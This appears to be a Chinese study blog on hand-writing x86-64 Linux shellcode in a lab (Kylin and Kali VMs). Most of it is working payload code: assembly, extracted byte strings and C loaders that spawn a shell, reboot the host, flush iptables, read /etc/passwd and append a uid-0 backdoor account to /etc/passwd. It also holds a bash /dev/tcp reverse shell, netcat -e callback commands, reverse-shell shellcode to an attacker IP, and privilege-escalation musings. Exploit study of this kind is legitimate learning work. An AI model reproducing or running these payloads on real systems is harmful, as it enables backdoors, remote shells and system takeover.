[TOC]
1. 打开 terminal参考:
Linux x86_64系统调用简介
syscall大全
Shellcodes database for study cases
Exploit Database Shellcodes
《UNIX环境高级编程第3版》
首先我们来试试最经典的例子 ---- 打开 terminal
那么问题来了用c语言该怎么写?
int execve(const char *filename , char *const argv [], char *const envp []);
filename: 要执行的程序
argv[]:传递给新程序的参数字符串数组
envp[]: 传递给新程序的环境变量字符串数组
1.1 C语言版本1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <stdlib.h> int main () { char *name[2 ]; name[0 ] = "bin/sh" ; name[1 ] = 0x0 ; execve(name[0 ], name, NULL ); exit (0 ); }
用gcc编译一下,看看能否运行?
-z execstack 关闭 canary -g 添加信息,便于 gdb 调试 1 2 gcc getTerminal.c -o terminal -z execstack -g ./terminal
可以看到程序成功执行,说明我们的思路没有问题。
1.2 写汇编从上面可以看到,这个 execve(“bin/sh”, [“bin/sh”], NULL) 参数是没有问题的,根据 execve 的系统调用号 0x3b 来布置函数栈帧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 global _start section .text _start: ; execve("/bin/sh", ["/bin/sh"], NULL) ; rax = 0x3b, rdx= NULL, rdi = '//bin/sh', rsi = '//bin/sh' xor rdx, rdx mov qword rbx, '//bin/sh' ; 0x68732f6e69622f2f shr rbx, 0x8 push rbx mov rdi, rsp push rax push rdi mov rsi, rsp mov al, 0x3b syscall
编译运行:
1 2 3 $ nasm -f elf64 execve_sh64.asm $ ld -m elf_x86_64 execve_sh64.o -o execve_sh64 $ ./execve_sh64
1.3 提取机器码1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 sakura@Kylin:~/文档/execveDir$ objdump -d execve_sh64 execve_sh64: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000401000 <_start>: 401000: 48 31 d2 xor %rdx,%rdx 401003: 48 bb 2f 2f 62 69 6e movabs $0x68732f6e69622f2f,%rbx 40100a: 2f 73 68 40100d: 48 c1 eb 08 shr $0x8,%rbx 401011: 53 push %rbx 401012: 48 89 e7 mov %rsp,%rdi 401015: 50 push %rax 401016: 57 push %rdi 401017: 48 89 e6 mov %rsp,%rsi 40101a: b0 3b mov $0x3b,%al 40101c: 0f 05 syscall "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
自动提取机器码:
1 for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
1.4 测试将机器码嵌入C语言运行。
1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> #include <string.h> int main () { const char shellcode[] = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" ; printf ("Shellcode length: %d bytes\n" ,strlen (shellcode)); (*(void (*)())shellcode)(); }
编译运行:
1 2 $ gcc execve_sh64.c -o execve_sh64 -z execstack -z norelro -no-pie -g $ ./execve_sh64
成功执行。
1.5 更少字节的参考:FreeBSD x86_64 execve, 28 bytes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 global _start section .text _start: xor rcx, rcx mul rcx add al, 0x3b ; execve() mov rbx, 0x68732f2f6e69622f ; hs//nib/ ; Argument one shell[0] = "/bin//sh" push rdx ; null push rbx ; hs//nib/ ; We need pointers for execve() push rsp ; *pointer to shell[0] pop rdi ; Argument 1 ; Argument two shell (including address of each argument in array) push rdx ; null push rdi ; address of shell[0] ; We need pointers for execve() push rsp ; address of char * shell pop rsi ; Argument 2 syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 sakura@Kylin:~/文档/execveDir$ nasm -f elf64 execve_sh64.asm sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 execve_sh64.o -o execve_sh64 sakura@Kylin:~/文档/execveDir$ ./execve_sh64 $ exit sakura@Kylin:~/文档/execveDir$ objdump -d execve_sh64 execve_sh64: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000401000 <_start>: 401000: 48 31 c9 xor %rcx,%rcx 401003: 48 f7 e1 mul %rcx 401006: 04 3b add $0x3b ,%al 401008: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f ,%rbx 40100f: 2f 73 68 401012: 52 push %rdx 401013: 53 push %rbx 401014: 54 push %rsp 401015: 5f pop %rdi 401016: 52 push %rdx 401017: 57 push %rdi 401018: 54 push %rsp 401019: 5e pop %rsi 40101a: 0f 05 syscall sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d execve_sh64.o | grep "^ " | cut -f2); do echo -n '\x' $i ; done ; echo \x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05 sakura@Kylin:~/文档/execveDir$
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <string.h> int main () { const char shellcode[] = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" ; printf ("Shellcode length: %d bytes\n" ,strlen (shellcode)); (*(void (*)())shellcode)(); }
1 2 3 4 5 6 sakura@Kylin:~/文档/execveDir$ gcc execve_sh64.c -o execve_sh64 -z execstack -z norelro -no-pie -g .... sakura@Kylin:~/文档/execveDir$ ./execve_sh64 Shellcode length: 28 bytes $ exit sakura@Kylin:~/文档/execveDir$
1.6 变形 0x11 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 global _start section .text _start: xor rcx, rcx mul rcx call do add al, 0x3b ; execve() mov rbx, 0x68732f2f6e69622f ; hs//nib/ ; Argument one shell[0] = "/bin//sh" push rdx ; null push rbx ; hs//nib/ ; We need pointers for execve() push rsp ; *pointer to shell[0] pop rdi ; Argument 1 ; Argument two shell (including address of each argument in array) push rdx ; null push rdi ; address of shell[0] ; We need pointers for execve() push rsp ; address of char * shell pop rsi ; Argument 2 syscall _do: ret
1 2 3 4 5 $ nasm -f elf64 execve_sh64.asm $ ld -m elf_x86_64 execve_sh64.o -o execve_sh64 $ ./execve_sh64 $ objdump -d execve_sh64 $ for i in $(objdump -d readfile.o | grep "^ " | cut -f2); do echo -n '\x' $i ; done ; echo
0x2Execute /bin/sh - 27 bytes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 global _start section .text _start: xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx ;mov rdi, rsp push rsp pop rdi cdq push rdx push rdi ;mov rsi, rsp push rsp pop rsi mov al, 0x3b syscall
汇编求补指令neg
64位汇编语言中的符号位扩展说明
关于汇编语言中cdq指令作用解惑
cdq的作用无非就是将一个32位有符合数扩展为64位有符合数,数据能表示的数不变,具体是这样实现的,比如eax=fffffffb(值为-5),然后cdq把eax的最高位bit,也就是二进制1,全部复制到edx的每一个bit位,EDX 变成 FFFFFFFF,这时eax与edx连起来就是一个64位数,FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5
2. 重启 reboot 2.1 找到指令位置首先,查看 reboot 命令所在位置。
1 2 $ whereis reboot reboot: /usr/sbin/reboot /usr/share/man/man8/reboot.8.gz
用此路径(/usr/sbin/reboot)作为参数,进行系统调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 global _start section .text _start: ; execve("/usr/sbin/reboot", ["/usr/sbin/reboot"], NULL) ; rax = 0x3b, rdx= NULL, rdi = '/usr/sbin/reboot', rsi = '/usr/sbin/reboot' xor rdx, rdx push rdx mov rbx, 'n/reboot' push rbx mov rbx, '/usr/sbi' push rbx mov rdi, rsp push rax push rdi mov rsi, rsp mov al, 0x3b syscall
2.2 编译链接运行1 2 3 $ nasm -f elf64 execve_reboot.asm $ ld -m elf_x86_64 execve_reboot.o -o execve_reboot $ ./execve_reboot
然后就重启了。
2.3 提取机器码1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ objdump -d execve_reboot execve_reboot: 文件格式 elf64-x86-64 Disassembly of section .text: 0000000000401000 <_start>: 401000: 48 31 d2 xor %rdx,%rdx 401003: 52 push %rdx 401004: 48 bb 6e 2f 72 65 62 movabs $0x746f6f6265722f6e,%rbx 40100b: 6f 6f 74 40100e: 53 push %rbx 40100f: 48 bb 2f 75 73 72 2f movabs $0x6962732f7273752f,%rbx 401016: 73 62 69 401019: 53 push %rbx 40101a: 48 89 e7 mov %rsp,%rdi 40101d: 50 push %rax 40101e: 57 push %rdi 40101f: 48 89 e6 mov %rsp,%rsi 401022: b0 3b mov $0x3b,%al 401024: 0f 05 syscall
1 "\x48\x31\xd2\x52\x48\xbb\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x53\x48\xbb\x2f\x75\x73\x72\x2f\x73\x62\x69\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
2.4 测试将机器码嵌入c语言运行。
1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <string.h> int main () { const char shellcode[] = "\x48\x31\xd2\x52\x48\xbb\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x53\x48\xbb\x2f\x75\x73\x72\x2f\x73\x62\x69\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05" ; printf ("Shellcode length: %d bytes\n" ,strlen (shellcode)); (*(void (*)())shellcode)(); }
编译运行:
1 2 $ gcc execve_reboot.c -o execve_reboot -z execstack -z norelro -no-pie -g $ ./execve_reboot
成功重启。
3. 防火墙 3.1 关闭防火墙与防火墙相关的指令,转载于:Linux关闭防火墙命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 1:查看防火状态 systemctl status firewalld 2:暂时关闭防火墙 systemctl stop firewalld 3:永久关闭防火墙 systemctl disable firewalld chkconfig iptables off 4:重启防火墙 systemctl enable firewalld 5:永久关闭后重启 //暂时还没有试过 chkconfig iptables on
我用systemctl 来查看防火墙,发现kylin v10似乎默认没有装防火墙的,那我们就自己装一下。
查看防火墙状态:
我发现,不管是关闭防火墙,还是打开防火墙,都需要 root 权限。而且在Shellcodes database for study cases Exploit Database Shellcodes 这两个网站上,均没有关于防火墙的 shellcode。
不过没有发现这个防火墙的shellcode,但是我发现了 iptable 的shellcode。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #Title: Linux/x86-64 - execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL) - 49 bytes # Author: 10n1z3d <10n1z3d[at]w[dot]cn> # Date: Fri 09 Jul 2010 03:26:12 PM EEST section .text global _start _start: xor rax, rax push rax push word 0x462d mov rcx, rsp mov rbx, 0x73656c626174ffff shr rbx, 0x10 push rbx mov rbx, 0x70692f6e6962732f push rbx mov rdi, rsp push rax push rcx push rdi mov rsi, rsp ; execve("/sbin/iptables", ["/sbin/iptables", "-F"], NULL); mov al, 0x3b syscall /* Usage: sakura@Kylin:~/文档/execveDir$ nasm -f elf64 iptable.asm sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 iptable.o -o iptable sakura@Kylin:~/文档/execveDir$ strace ./iptable sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d iptable.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo */ #include <stdio.h> int main() { unsigned char shellcode[] = \ "\x48\x31\xc0\x48\x31\xed\x50\x48\xbd\x63\x2f\x70\x61\x73\x73\x77\x64\x55\x48\xbd\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x55\x48\x89\xe5\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe3\x48\x89\xe7\x50\x48\x89\xe2\x55\x53\x48\x89\xe6\x66\x6a\x3b\x66\x58\x0f\x05"; int (*ret)() = (int(*)())shellcode; ret(); } /* Usage: sakura@Kylin:~/文档/execveDir$ gcc iptable.c -o iptable -fno-stack-protector -z execstack -w sakura@Kylin:~/文档/execveDir$ sudo ./iptable */ #需要root权限执行,否者缺少权限无法执行。
3.2 修改防火墙规则 linux防火墙iptables规则的查看、添加、删除和修改方法总结
4. passwd 4.1 读取 passwd通过系统调用 命令cat 读取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 # Exploit Title: Linux/x64 - execve "cat /etc/passwd" Shellcode (66 bytes) # Date: 2022-08-14 # Author: rgzz # Tested on: Kylin v10 # Shellcode Length: 66 /* ;execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL) global _start section .text _start: xor rax, rax ; Zeroes out RAX. xor rbp, rbp ; Zeroes out RBP. push rax ; Pushes RAX's NULL-DWORD. mov rbp, 0x6477737361702f63 ; Moves value "dwsspa/c" into RBP. push rbp ; Pushes the vaueof RBP into the Stack. mov rbp, 0x74652f2f2f2f2f2f ; Moves value "te//////" into RBP. push rbp ; Pushes the vaue of RBP into the Stack. mov rbp, rsp ; Copies the value of the Stack into RBP. push rax ; Pushes RAX's NULL-DWORD. mov rbx, 0x7461632f6e69622f ; Moves value "tac/nib/" into RBX. push rbx ; Pushes the vaue of RBX into the Stack. mov rbx, rsp ; Copies the value of the Stack into RBX. mov rdi, rsp ; Copies the value of the Stack into RDI. push rax ; Pushes RAX's NULL-DWORD. mov rdx, rsp ; Copies the value of the Stack into RDX. As the previous DWORD was completely NULL, RDX is set to 0. push rbp ; Pushes the vaue of RBP into the Stack. push rbx ; Pushes the vaue of RBX into the Stack. The full string should be "cat /etc/passwd". mov rsi, rsp ; Copies this entire string from the Stack into RSI. push word 59 ; Pushes the value 59 (syscall value for execve in the x64 format). pop ax ; Pops this value into AX so there are no NULLs. syscall ; The syscall is executed. */ /* Usage: sakura@Kylin:~/文档/execveDir$ nasm -f elf64 cat_passwd.asm sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 cat_passwd.o -o cat_passwd sakura@Kylin:~/文档/execveDir$ strace ./cat_passwd sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d cat_passwd.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo */ #include <stdio.h> int main() { unsigned char shellcode[] = \ "\x48\x31\xc0\x48\x31\xed\x50\x48\xbd\x63\x2f\x70\x61\x73\x73\x77\x64\x55\x48\xbd\x2f\x2f\x2f\x2f\x2f\x2f\x65\x74\x55\x48\x89\xe5\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x63\x61\x74\x53\x48\x89\xe3\x48\x89\xe7\x50\x48\x89\xe2\x55\x53\x48\x89\xe6\x66\x6a\x3b\x66\x58\x0f\x05"; int (*ret)() = (int(*)())shellcode; ret(); } /* Usage: sakura@Kylin:~/文档/execveDir$ gcc cat_passwd.c -o cat_passwd -fno-stack-protector -z execstack -w sakura@Kylin:~/文档/execveDir$ ./cat_passwd */
通过系统调用 read 方式读取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 # Exploit Title: Linux/x64 - read passwd # Date: 2022-08-14 # Author: rgzz # Tested on: Kylin v10 global _start section .text _start: jmp _push_filename _readfile: ; syscall open file, 0x2 ; open('/etc/passwd', O_RDWR), O_RDWR=0x2 pop rdi ; pop path value xor rax, rax add al, 2 xor rsi, rsi ; set O_RDWR flag syscall ; syscall read file, 0x0 ; read(fd, buf, 0xfff), rdi=rax=fd(fd is open's return number) sub sp, 0xfff lea rsi, [rsp] mov rdi, rax xor rdx, rdx mov dx, 0xfff; size to read xor rax, rax syscall ; syscall write to stdout, 0x1 ; write(fd, buf, 0xfff) xor rdi, rdi inc rdi ; set stdout fd = 1 mov rdx, rax xor rax, rax inc rax syscall ; syscall exit xor rax, rax add al, 60 syscall _push_filename: call _readfile path: db "/etc/passwd" /* Usage: akura@Kylin:~/文档/execveDir$ nasm -f elf64 rw_passwd.asm sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 rw_passwd.o -o rw_passwd sakura@Kylin:~/文档/execveDir$ ./rw_passwd sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d rw_passwd.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo */ /* #include <stdio.h> int main() { unsigned char shellcode[] = \ "\xeb\x3b\x5f\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x48\xff\xc7\x48\x89\xc2\x48\x31\xc0\x48\xff\xc0\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xc0\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; int (*ret)() = (int(*)())shellcode; ret(); } /* Usage: sakura@Kylin:~/文档/execveDir$ gcc rw_passwd.c -o rw_passwd -fno-stack-protector -z execstack -w sakura@Kylin:~/文档/execveDir$ ./rw_passwd */
4.2 写入 passwd1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 ; Title: add root user (toor:toor) ; Date: 2022-08-14 ; Author: rgzz ; Tested on: kylin v10 ; ; Action: Adds a user into /etc/passwd with the following information ; username: toor ; password: toor ; uid: 0 ; gid: 0 ; home: /root ; shell: /bin/sh ; ; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh global _start section .text _start: jmp _push_filename ; #define __NR_open 2 ; int open(const char *pathname, int flags); ; rax -> 2 ; rdi -> /etc/passwd ; rsi -> 0x401 ; ; >>> hex(os.O_WRONLY ^ os.O_APPEND) ; 0x401 _openfile: pop rdi ; rdi -> /etc/passwd xor rax, rax xor rsi, rsi ; rsi to zero mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND add al, 0x2 ; rax -> 2 (open) syscall ; open xchg rdi, rax ; save returned fd jmp short get_entry_address ; start jmp-call-pop write_entry: ; #define __NR_write 1 ; ssize_t write(int fd, const void *buf, size_t count); ; rax -> 1 ; rdi -> results of open syscall ; rsi -> user's entry ; rdx -> len of user's entry pop rsi ; end jmp-call-pop, rsi -> user's entry push 0x1 pop rax ; rax -> 1 push 38 ; length + 1 for newline pop rdx ; rdx -> length of user's entry syscall ; write ; #define __NR_exit 60 ; void _exit(int status); ; rax -> 60 ; rdi -> don't care push 60 pop rax syscall ; OS will handle closing fd at exit get_entry_address: call write_entry user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa _push_filename: call _openfile path: db "/etc/passwd" /* sakura@Kylin:~/文档/execveDir$ gcc -c addRootUser.c -o addRootUser.o sakura@Kylin:~/文档/execveDir$ gcc addRootUser.o -o addRootUser -static Usage: akura@Kylin:~/文档/execveDir$ nasm -f elf64 addRootUser.asm sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 addRootUser.o -o addRootUser sakura@Kylin:~/文档/execveDir$ ./addRootUser sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d addRootUser.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo */ //注意:上面这个程序,编译后需要以root权限来执行,否则没有效果。至于提权,,目前还没有思路。。 //提权思路:在系统文件中找到一个具有777权限的文件,在里面写入我们的提权代码执行,或者是把我们的可执行文件,提升权限执行。 /* #include <stdio.h> int main() { unsigned char shellcode[] = \ "\xeb\x4c\x5f\x48\x31\xc0\x48\x31\xf6\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\xe8\xaf\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; int (*ret)() = (int(*)())shellcode; ret(); } */ /* Usage: sakura@Kylin:~/文档/execveDir$ gcc addRootUser.c -o addRootUser -fno-stack-protector -z execstack -w sakura@Kylin:~/文档/execveDir$ sudo ./addRootUser */
4.2.1 其它版本1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 ;http://www.shell-storm.org/shellcode/files/shellcode-801.php ;sc_adduser01.S ;Arch: x86_64, Linux ; ;Author: 0_o -- null_null ; nu11.nu11 [at] yahoo.com ;Date: 2012-03-05 ; \ ;Purpose: adds user "t0r" with password "Winner" to /etc/passwd ;executed syscalls: setreuid, setregid, open, write, close, exit ;Result: t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash ;syscall op codes: /usr/include/x86_64-linux-gnu/asm/unistd_64.h section .text global _start _start: ;sys_setreuid(uint ruid, uint euid) xor rax, rax mov al, 113 ;syscall sys_setreuid xor rbx, rbx ;arg 1 -- set real uid to root mov rcx, rbx ;arg 2 -- set effective uid to root syscall ;sys_setregid(uint rgid, uint egid) xor rax, rax mov al, 114 ;syscall sys_setregid xor rbx, rbx ;arg 1 -- set real uid to root mov rcx, rbx ;arg 2 -- set effective uid to root syscall ;push all strings on the stack prior to file operations. xor rbx, rbx mov ebx, 0x647773FF shr rbx, 8 push rbx ;string \00dws mov rbx, 0x7361702f6374652f push rbx ;string sap/cte/ mov rbx, 0x0A687361622F6EFF shr rbx, 8 push rbx ;string \00\nhsab/n mov rbx, 0x69622F3A746F6F72 push rbx ;string ib/:toor mov rbx, 0x2F3A3A303A303A67 push rbx ;string /::0:0:g mov rbx, 0x46556B554B587435 push rbx ;string FUkUKXt5 mov rbx, 0x546755333A723074 push rbx ;string TgU3:r0t ;prelude to doing anything useful... mov rbx, rsp ;save stack pointer for later use push rbp ;store base pointer to stack so it can be restored later mov rbp, rsp ;set base pointer to current stack pointer ;sys_open(char* fname, int flags, int mode) sub rsp, 16 mov [rbp - 16], rbx ;store pointer to "t0r..../bash" mov si, 0x0401 ;arg 2 -- flags mov rdi, rbx add rdi, 40 ;arg 1 -- pointer to "/etc/passwd" xor rax, rax mov al, 2 ;syscall sys_open syscall ;sys_write(uint fd, char* buf, uint size) mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use. mov rcx, rbx ;arg 2 -- load rcx with pointer to string "t0r.../bash" xor rdx, rdx mov dl, 39 ;arg 3 -- load rdx with size of string "t0r.../bash\00" mov rsi, rcx ;arg 2 -- move to source index register mov rdi, rax ;arg 1 -- move to destination index register xor rax, rax mov al, 1 ;syscall sys_write syscall ;sys_close(uint fd) xor rdi, rdi mov edi, [rbp - 4] ;arg 1 -- load stored file descriptor to destination index register xor rax, rax mov al, 3 ;syscall sys_close syscall ;sys_exit(int err_code) xor rax, rax mov al, 60 ;syscall sys_exit xor rbx, rbx ;arg 1 -- error code syscall
5. 反向shell参考:
反弹shell原理与实现
IP地址如何用十六进制表示
Linux/x86-64 - Dynamic null-free reverse TCP shell - 65 bytes
FreeBSD/x86 - reverse connect dl(shellcode) and execute, exit - 90 bytes
Linux/x86-64 - Password Protected Reverse Shell - 136 bytes
Linux/x86-64 - Reverse TCP shell - 118 bytes
反弹Shell原理及检测技术研究
使用netcat进行反弹链接的shellcode
5.1 先通过命令来反弹shell【1】先在攻击端(kali: 192.168.188.141)输入以下命令。
【2】然后在靶机端(Kylin:192.168.188.146)输入以下命令(两种写法)
1 /bin/bash -i >& /dev/tcp/192.168.188.146/5566 0>&1
1 /bin/bash -i > /dev/tcp/192.168.188.146/5566 0>&1 2>&1
具体原理可以参考先知社区上的这两篇文章
Linux反弹shell(一)文件描述符与重定向
——https://xz.aliyun.com/t/2548
Linux反弹shell(二)反弹shell的本质
——https://xz.aliyun.com/t/2549
不过这种 shell 命令,在用execve中运行会找不到这个 /dev/tcp/... 文件,因此我们只能在靶机端运行 nc 命令:netcat -e /bin/sh 192.168.188.141 5566
但是,如果你直接在 kylin 中运行上面这条命令的话,它会报错显示没有 -e 这条参数。这样就需要我们装一个完整的 netcat,然后再来执行上面这条命令。我将它安装在/home/sakura/tools/netcat
安装教程:这可能是netcat最全的使用指南
5.2 再来用C语言来试试:(可以运行)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 #include <stdio.h> #include <stdlib.h> int main () { char *name[6 ]; name[0 ] = "/home/sakura/tools/netcat/src/netcat" ; name[1 ] = "-e" ; name[2 ] = "/bin/sh" ; name[3 ] = "192.168.188.141" ; name[4 ] = "5566" ; name[5 ] = 0x0 ; execve(name[0 ], name, NULL ); exit (0 ); }
5.3 然后我们用汇编来写 execve 调用1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 ;execve("/home/sakura/tools/netcat/src/netcat", ["/home/sakura/tools/netcat/src/ne"..., "-e", "/bin/sh", "192.168.188.141", "5566"], NULL) = 0 global _start section .text _start: push rbp mov rbp, rsp sub rsp, 0x40 mov qword rax, '5566AAAA' push rax mov qword rax, '188.141A' push rax mov qword rax, '192.168.' push rax mov qword rax, '/bin/shA' push rax mov qword rax, 'tcatA-eA' push rax mov qword rax, 't/src/ne' push rax mov qword rax, 'ls/netca' push rax mov qword rax, 'kura/too' push rax mov qword rax, '/home/sa' push rax xor byte [rsp+36], 0x41 xor byte [rsp+39], 0x41 xor byte [rsp+47], 0x41 xor byte [rsp+63], 0x41 xor byte [rsp+71], 0x41 xor byte [rsp+70], 0x41 xor byte [rsp+69], 0x41 xor byte [rsp+68], 0x41 xor rax, rax mov rdi, rsp push rax lea rbx, [rdi+64] push rbx lea rbx, [rdi+48] push rbx lea rbx, [rdi+40] push rbx lea rbx, [rdi+37] push rbx push rdi mov rsi, rsp xor rdx, rdx add al , 59 syscall ;/home/sa kura/too ls/netca t/src/ne tcatAAAA ;-eAAAAAA /bin/shA 192.168. 188.141A 5566AAAA" /* Usage: akura@Kylin:~/文档/execveDir$ nasm -f elf64 rev_tcp.asm sakura@Kylin:~/文档/execveDir$ ld -m elf_x86_64 rev_tcp.o -o rev_tcp sakura@Kylin:~/文档/execveDir$ ./rev_tcp sakura@Kylin:~/文档/execveDir$ for i in $(objdump -d rev_tcp.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo */ /* #include <stdio.h> int main() { unsigned char shellcode[] = \ "\x55\x48\x89\xe5\x48\x83\xec\x40\x48\xb8\x35\x35\x36\x36\x41\x41\x41\x41\x50\x48\xb8\x31\x38\x38\x2e\x31\x34\x31\x41\x50\x48\xb8\x31\x39\x32\x2e\x31\x36\x38\x2e\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x41\x50\x48\xb8\x74\x63\x61\x74\x41\x2d\x65\x41\x50\x48\xb8\x74\x2f\x73\x72\x63\x2f\x6e\x65\x50\x48\xb8\x6c\x73\x2f\x6e\x65\x74\x63\x61\x50\x48\xb8\x6b\x75\x72\x61\x2f\x74\x6f\x6f\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x61\x50\x80\x74\x24\x24\x41\x80\x74\x24\x27\x41\x80\x74\x24\x2f\x41\x80\x74\x24\x3f\x41\x80\x74\x24\x47\x41\x80\x74\x24\x46\x41\x80\x74\x24\x45\x41\x80\x74\x24\x44\x41\x48\x31\xc0\x48\x89\xe7\x50\x48\x8d\x5f\x40\x53\x48\x8d\x5f\x30\x53\x48\x8d\x5f\x28\x53\x48\x8d\x5f\x25\x53\x57\x48\x89\xe6\x48\x31\xd2\x04\x3b\x0f\x05"; int (*ret)() = (int(*)())shellcode; ret(); } */ /* Usage: sakura@Kylin:~/文档/execveDir$ gcc rev_tcp.c -o rev_tcp -fno-stack-protector -z execstack -w sakura@Kylin:~/文档/execveDir$ ./rev_tcp */
5.4 用系统调用建立连接来反弹shell参考:osx x64 reverse tcp shellcode (131 bytes)
C语言中结构体占用内存问题
Linux下的C语言Socket函数建立TCP连接
linux c语言用socket实现简单的服务器客户端交互
